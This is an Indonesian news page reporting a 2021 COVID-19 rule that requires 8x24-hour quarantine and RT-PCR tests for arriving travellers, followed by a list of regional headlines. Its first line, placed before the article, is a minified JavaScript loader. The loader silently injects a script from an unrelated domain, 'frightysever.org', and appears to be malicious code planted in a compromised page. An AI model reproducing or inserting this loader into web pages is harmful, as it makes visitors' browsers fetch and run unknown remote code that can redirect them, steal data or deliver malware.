(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Mulai 6 Juli, WNI dan WNA dari Luar Negeri Wajib Karantina 8X24 Jam


KANALKALIMANTAN.COM, JAKARTA– Pemerintah meminta agar setiap pelaku perjalanan internasional menjalani karantina mandiri selama 8X24 jam ketika tiba di Indonesia selama masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) darurat. Regulasi ini mulai berlaku pada 6 Juli mendatang.

Aturan tersebut tertuang dalam Surat Edaran (SE) Satuan Tugas (Satgas) Covid-19 Nomor 8 Tahun 2021.

Ketua Satgas Covid-19 Ganip Warsito menyebut aturan ini berlaku bagi Warga Negara Indonesia (WNI) dan Warga Negara Asing (WNA). Dengan adanya aturan ini, kata Ganip, berarti mengubah aturan sebelumnya mengenai ketentuan persyaratan pelaku perjalanan internasional.

“Pada saat kedatangan dilakukan tes ulang RT, PCR bagi pelaku perjalanan internasional dan diwajibkan menjalani karantina 8×24 jam,” ujar Ganip dalam konferensi pers virtual, Minggu (4/7/2021).

 

Nantinya, biaya untuk melakukan tes Reverse Transcription Polymerase Chain Reaction (RT- PCR) dan karantina bagi WNI akan ditanggung sepenuhnya oleh pemerintah. Namun bagi WNA harus menanggungnya sendiri.

Pengecualian diberikan bagi WNA yang merupakan kepala perwakilan asing. Selain itu, karantina harus dijalankan di tempat yang telah mendapatkan sertifikasi.

Baca juga: BREAKING NEWS. Rumah di Sei Tabuk Ludes Terbakar, Seorang Relawan PMK Terluka!

“Perwakilan kepala asing yang bertugas di Indonesia dapat melakukan karantina mandiri di kediaman masing-masing selama 8×24 jam,” katanya.

Ketika hari ketujuh karantina, WNI dan WNA yang menjalankannya harus mengikuti tes RT-PCR. Jika negatif, maka diizinkan beraktifitas seperti biasa di Indonesia.

“Dalam hal hasil positif maka dilakukan perawatan di rumah sakit dengan biaya ditanggung pemerintah bagi WNI dan WNA dengan biaya seluruhnya ditanngung sendiri,” pungkasnya.(kanalkalimantan.com/suara)

Editor: suara


Risa

Recent Posts

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

49 menit ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

1 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

4 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

5 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

7 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

8 jam ago

This website uses cookies.